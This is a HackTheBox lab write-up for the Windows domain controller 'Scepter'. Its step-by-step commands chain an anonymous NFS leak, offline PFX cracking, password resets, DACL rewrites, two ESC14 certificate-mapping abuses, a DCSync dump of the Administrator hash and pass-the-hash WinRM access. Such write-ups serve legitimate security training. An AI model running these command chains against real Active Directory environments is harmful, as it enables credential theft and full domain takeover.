HTB: Scepter Writeup

Scepter - HackTheBox Writeup

Machine Information

AttributeDetails
NameScepter
OSWindows
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.244.44
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Scepter (dc01.scepter.htb) is a Windows Domain Controller that starts with an unauthenticated NFS export leaking PFX/private-key material for three domain users. Cracking the PFX password unlocks a certificate for d.baker, but domain authentication doesn’t go the obvious route — instead of PKINIT working cleanly, the DC returns KDC_ERR_PADATA_TYPE_NOSUPP for baker’s certificate specifically, forcing a pivot to Schannel-based LDAPS client-certificate authentication to get an authenticated LDAP session. From there, d.baker’s ForceChangePassword right over a.carter and a.carter’s inherited GenericAll over the Staff Access Certificate OU (via IT SUPPORT group membership) chain into full control of d.baker’s AD object. The Certificate Authority is vulnerable to ESC14 (explicit/weak certificate-to-account mapping): by rewriting d.baker’s mail attribute to match a target user and re-enrolling the StaffAccessCertificate template, the certificate authenticates as that target user instead. This is chained twice — first to land on h.brown (user flag, WinRM via Kerberos since h.brown sits in Protected Users), then again from h.brown’s CMS group privileges (which can write altSecurityIdentities on the Helpdesk Enrollment Certificate OU) to land on p.adams, who holds DCSync rights over the domain.

TL;DR: Anonymous NFS share → cracked PFX (newpassword) → d.baker cert → Schannel LDAP auth (PKINIT was broken for this cert) → ForceChangePassword on a.carter → GenericAll on Staff Access Certificate OU → reset d.baker → ESC14 (mail-attribute mapping) to h.brown → user.txt → ESC14 (X509RFC822 mapping via CMS group) to p.adams → DCSync → Administrator → root.txt.


Reconnaissance

Service Enumeration

dc01.scepter.htb presented the standard Windows Domain Controller service set (Kerberos, LDAP, SMB, WinRM). The standout service for initial access was NFS, which was checked directly with showmount:

Terminal window
# Enumerate exported NFS shares
showmount -e 10.129.244.44

The /helpdesk share was exported without any host or authentication restriction. It was mounted read-write:

Terminal window
# Mount the unauthenticated NFS export
mkdir -p /tmp/scep/mnt
sudo mount -t nfs -o rw,vers=3 10.129.244.44:/helpdesk /tmp/scep/mnt
# List contents
sudo ls -la /tmp/scep/mnt/

The share contained certificate material for helpdesk/PKI-related accounts:

baker.crt
baker.key
clark.pfx
lewis.pfx
scott.pfx

These were copied out and ownership fixed for local processing:

Terminal window
cd /tmp/scep
for f in baker.crt baker.key clark.pfx lewis.pfx scott.pfx; do sudo cp mnt/$f .; done
sudo chown d3vn0mi:d3vn0mi baker.crt baker.key clark.pfx lewis.pfx scott.pfx

Vulnerability Assessment

  • Anonymous NFS export leaking PKI material for three accounts (clark, lewis, scott) plus a raw cert/key pair for d.baker.
  • Weak/shared PFX passphrase protecting the exported certificates — crackable offline.
  • AD CS misconfiguration (confirmed later): the StaffAccessCertificate template combined with SubjectAltRequireEmail and weak certificate mapping allows attacker-controlled mail/altSecurityIdentities attributes to redirect a certificate’s identity to an arbitrary target account — the classic ESC14 pattern.

Initial Foothold

Cracking the PFX Password

All three .pfx files were converted to John-crackable hashes and run against rockyou.txt:

Terminal window
# Extract crackable hash format from each PFX
pfx2john lewis.pfx > lewis.hash
pfx2john scott.pfx > scott.hash
pfx2john clark.pfx > clark.hash
cat lewis.hash scott.hash clark.hash > all.hash
# Crack with John
john --wordlist=/usr/share/wordlists/rockyou.txt all.hash

The shared PFX password cracked to newpassword. The same passphrase also protected baker.key:

Terminal window
# Decrypt d.baker's private key using the cracked passphrase
openssl rsa -in baker.key -out baker-decrypted.key -passin pass:newpassword
# Merge the decrypted key with baker's certificate into a single PEM
cat baker-decrypted.key > baker.pem
tail -n +2 baker.crt >> baker.pem
# Package as an unencrypted PFX for certificate-based authentication
openssl pkcs12 -in baker.pem -export -out baker.pfx -passout pass:

PKINIT Failure and the Schannel Pivot

The expected next step — Kerberos PKINIT with certipy-ad auth — failed unexpectedly:

Terminal window
certipy-ad auth -pfx baker.pfx -domain scepter.htb -dc-ip 10.129.244.44

Result: KDC_ERR_PADATA_TYPE_NOSUPP — a KDC-side rejection of the pre-authentication data type, not a trust/revocation error. To confirm PKINIT itself worked on this DC (i.e., that the problem was specific to baker’s cert rather than a systemic clock-skew or PKINIT-disabled issue), the same flow was tested against lewis.pfx:

Terminal window
certipy-ad cert -export -pfx lewis.pfx -password newpassword -out lewis_u.pfx
certipy-ad auth -pfx lewis_u.pfx -domain scepter.htb -dc-ip 10.129.244.44

Lewis’s certificate returned KDC_ERR_CLIENT_NOT_TRUSTED — the expected error for an untrusted/unmapped cert, proving PKINIT itself was functional. Baker’s PADATA_TYPE_NOSUPP was therefore cert-specific. Time skew, modulus mismatch between key and cert, and several PFX rebuild variants (cert -export without password, plain pkcs12 export, CSP-tagged export) were all ruled out:

Terminal window
# Confirm key/cert pair actually match
openssl rsa -in baker-decrypted.key -noout -modulus | md5sum
openssl x509 -in baker.crt -noout -modulus | md5sum
# (hashes matched — key/cert pairing was not the problem)

Rather than continue chasing the PKINIT error, the certificate was used for Schannel LDAPS client-certificate authentication instead of Kerberos PKINIT — a different AD authentication path that binds a client cert to an LDAP session over LDAPS rather than issuing a TGT:

Terminal window
# certipy-ad's -ldap-shell drives an authenticated LDAP session over Schannel
# using the client certificate directly, bypassing PKINIT entirely
certipy-ad auth -pfx baker.pfx -domain scepter.htb -dc-ip 10.129.244.44 -ldap-shell

This authenticated cleanly as d.baker and dropped into an LDAP shell — confirming the certificate itself, and its mapping to d.baker’s account, were valid; only the PKINIT (KDC) path was rejecting it.

d.baker → a.carter (ForceChangePassword)

From the LDAP shell, d.baker’s ForceChangePassword right over a.carter was used directly:

change_password a.carter Passw0rd!2026

Verified with NetExec:

Terminal window
nxc smb 10.129.244.44 -u a.carter -p "Passw0rd!2026"

Privilege Escalation

a.carter → Staff Access Certificate OU (GenericAll)

a.carter’s membership in IT SUPPORT grants GenericAll over the Staff Access Certificate OU (which contains d.baker). This was converted into a durable, inheritable ACE with impacket-dacledit:

Terminal window
# Grant FullControl over the OU (with inheritance) so it propagates
# to child objects such as d.baker
impacket-dacledit -action write -rights FullControl -inheritance \
-principal a.carter \
-target-dn "OU=Staff Access Certificate,DC=scepter,DC=htb" \
'scepter.htb/a.carter:Passw0rd!2026'

With FullControl now inherited onto d.baker, the account’s password was reset outright — sidestepping the broken PKINIT path entirely in favor of ordinary password authentication for the next stage:

Terminal window
net rpc password "d.baker" "Bak3rPwn!2026" \
-U "scepter.htb"/"a.carter"%"Passw0rd!2026" -S dc01.scepter.htb

ESC14 #1 — d.baker → h.brown

The StaffAccessCertificate template requires SubjectAltRequireEmail, meaning the issued certificate’s identity is bound to whatever the enrolling account’s mail attribute says at enrollment time — not necessarily the enrolling account itself once weak/explicit mapping is in play. With FullControl over d.baker’s object, the mail attribute was repointed at the intended target before enrolling:

Terminal window
# Point d.baker's mail attribute at the target account
bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p "Passw0rd!2026" \
set object "CN=d.baker,OU=Staff Access Certificate,DC=scepter,DC=htb" mail -v h.brown@scepter.htb
# Enroll the StaffAccessCertificate template as d.baker (password auth now works)
certipy-ad req -u d.baker@scepter.htb -p "Bak3rPwn!2026" \
-ca SCEPTER-DC01-CA -template StaffAccessCertificate \
-target dc01.scepter.htb

This produced d.baker.pfx — a certificate that, thanks to SubjectAltRequireEmail, resolves to whichever mailbox was set on d.baker at enrollment. Authenticating with it while explicitly asserting the target username completed the ESC14 identity swap:

Terminal window
certipy-ad auth -pfx d.baker.pfx -domain scepter.htb -username h.brown -dc-ip 10.129.244.44

This returned a valid TGT and NT hash for h.brown, not d.baker. Because h.brown is a member of Protected Users, RC4/NTLM authentication is blocked, so access required a Kerberos ticket cache instead of a hash-based login:

Terminal window
# Minimal krb5.conf pointed at the DC as KDC
cat > /tmp/scep/krb5.conf << EOF
[libdefaults]
default_realm = SCEPTER.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
SCEPTER.HTB = { kdc = dc01.scepter.htb }
EOF
export KRB5_CONFIG=/tmp/scep/krb5.conf
export KRB5CCNAME=/tmp/scep/h.brown.ccache
# WinRM using the Kerberos ccache (NTLM is unusable — Protected Users)
nxc winrm dc01.scepter.htb --use-kcache -x "whoami"

user.txt was retrieved from h.brown’s desktop via a PowerShell one-liner over the Kerberos WinRM session:

Terminal window
$f = Get-Content C:\Users\h.brown\Desktop\user.txt
Write-Output "FLAGSTART${f}FLAGEND"
User Flag (h.brown): <redacted>

ESC14 #2 — h.brown → p.adams (X509RFC822 mapping)

h.brown belongs to the CMS group, which was granted WriteProperty over altSecurityIdentities on descendant objects of the Helpdesk Enrollment Certificate OU — a second, independently exploitable ESC14 path using explicit weak mapping rather than the mail-attribute trick. Instead of repointing mail, the target account’s altSecurityIdentities attribute was set to a self-chosen X.509 RFC822 mapping string, and d.baker’s mail was aimed at that same target before re-enrolling:

Terminal window
# Explicitly map p.adams to accept an X509 RFC822-style certificate identity
bloodyAD --host dc01.scepter.htb -d scepter.htb -u h.brown -k \
set object "CN=p.adams,...,DC=scepter,DC=htb" altSecurityIdentities \
-v "X509:<RFC822>p.adams@scepter.htb"
# Re-point d.baker's mail attribute and re-enroll the certificate template
bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p "Passw0rd!2026" \
set object "CN=d.baker,OU=Staff Access Certificate,DC=scepter,DC=htb" mail -v p.adams@scepter.htb
certipy-ad req -u d.baker@scepter.htb -p "Bak3rPwn!2026" \
-ca SCEPTER-DC01-CA -template StaffAccessCertificate -target dc01.scepter.htb
# Authenticate as p.adams using the re-mapped certificate
certipy-ad auth -pfx d.baker.pfx -domain scepter.htb -username p.adams -dc-ip 10.129.244.44

This yielded a working TGT/NT hash for p.adams.

p.adams → Domain Admin (DCSync)

p.adams holds replication rights (DS-Replication-Get-Changes / -All) sufficient for a DCSync attack, dumping the Administrator NT hash directly from the domain’s replication data:

Terminal window
# DCSync the Administrator account using p.adams' replication privileges
impacket-secretsdump scepter.htb/p.adams@dc01.scepter.htb -just-dc-user Administrator -k -no-pass

With the Administrator NT hash in hand, a pass-the-hash WinRM session delivered root:

Terminal window
evil-winrm -i dc01.scepter.htb -u Administrator -H <administrator_nt_hash>
Root Flag (Administrator): <redacted>

Attack Chain Summary

Anonymous NFS export (/helpdesk)
→ cracked shared PFX passphrase (newpassword)
→ decrypted baker.key, built baker.pfx
→ PKINIT rejected baker's cert (KDC_ERR_PADATA_TYPE_NOSUPP)
[confirmed via lewis.pfx that PKINIT itself worked]
→ pivoted to Schannel LDAPS client-cert auth → authenticated LDAP session as d.baker
→ ForceChangePassword: d.baker → a.carter
→ GenericAll (via IT SUPPORT) on "Staff Access Certificate" OU → dacledit FullControl on d.baker
→ reset d.baker's password (bypassing broken PKINIT with plain password auth)
→ ESC14 #1: set d.baker.mail = h.brown → enroll StaffAccessCertificate → auth as h.brown
→ Kerberos-only WinRM (Protected Users) → user.txt
→ ESC14 #2: h.brown (CMS) sets p.adams.altSecurityIdentities (X509 RFC822)
→ set d.baker.mail = p.adams → re-enroll → auth as p.adams
→ p.adams DCSync → Administrator NT hash
→ pass-the-hash WinRM → root.txt

Tools Used

ToolPurpose
showmount / NFS mountDiscover and mount the unauthenticated /helpdesk export
pfx2john / johnCrack the shared PFX passphrase
opensslDecrypt private key, rebuild PEM/PFX certificate bundles
certipy-adCertificate auth (PKINIT + Schannel), template enrollment, ESC14 exploitation
impacket-dacleditWrite an inheritable FullControl ACE onto the target OU
bloodyADLDAP attribute writes (mail, altSecurityIdentities)
net rpcSMB-based password reset for d.baker
nxc (NetExec)Credential validation, Kerberos-ccache WinRM execution
impacket-secretsdumpDCSync of the Administrator hash via p.adams
evil-winrmPass-the-hash WinRM session as Administrator

Key Learnings

Techniques Practiced

  • Exploiting anonymous/unauthenticated NFS exports for credential material harvesting
  • Cracking PKCS#12 (PFX) passphrases offline with pfx2john/John
  • Rebuilding usable PFX bundles from a separately supplied cert + encrypted key
  • Diagnosing PKINIT-specific KDC errors and falling back to Schannel LDAPS certificate authentication
  • Kerberos-ticket-only operation against Protected Users group members (no NTLM/RC4 fallback)
  • Chaining ForceChangePassword → OU-level GenericAll → DACL rewrite for durable object control
  • Exploiting AD CS ESC14 (explicit/weak certificate mapping) via both mail-attribute (SubjectAltRequireEmail) and altSecurityIdentities (X509RFC822) vectors
  • DCSync-based domain compromise via delegated replication rights

Lessons Learned

  1. A KDC error during PKINIT (KDC_ERR_PADATA_TYPE_NOSUPP) doesn’t necessarily mean PKINIT is broken domain-wide or that the certificate is invalid — cross-testing with a second known-good certificate (lewis’s, which returned the expected CLIENT_NOT_TRUSTED) isolated the fault to baker’s specific cert without wasting time debugging clock skew or CA trust.
  2. Certificate-based authentication has more than one door: when Kerberos PKINIT is unavailable or misbehaving, Schannel LDAPS client-certificate binding can authenticate the same certificate identity for LDAP operations, unblocking ACL abuse even without a usable TGT.
  3. ESC14 is not a single template flaw — it’s a family of weak-mapping abuses. This box demonstrates two distinct variants: rewriting mail against SubjectAltRequireEmail, and directly writing altSecurityIdentities where a group has been granted that property explicitly. Both let an attacker with write access to one account’s attributes mint a certificate that authenticates as a completely different account.
  4. Protected Users group membership blocks NTLM/RC4 but not Kerberos — once a TGT/ccache is obtained, ticket-based WinRM (--use-kcache) is the correct path forward rather than trying to force a hash-based logon.
  5. Small DACL writes compound quickly: a single ForceChangePassword edge plus one OU-level GenericAll edge was enough to pivot from a low-value helpdesk certificate all the way to a DCSync-capable account.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • 0xEr3bus, Scepter (HackTheBox Official Writeup), 3 July 2025 — used for background on the ESC14 attack technique (explicit/weak certificate mapping via mail/SubjectAltRequireEmail and altSecurityIdentities/X509RFC822), the DACL abuse chain (ForceChangePassword → OU GenericAll), and the role of StrongCertificateBindingEnforcement/KB5014754 in enabling weak-mapping attacks against AD CS.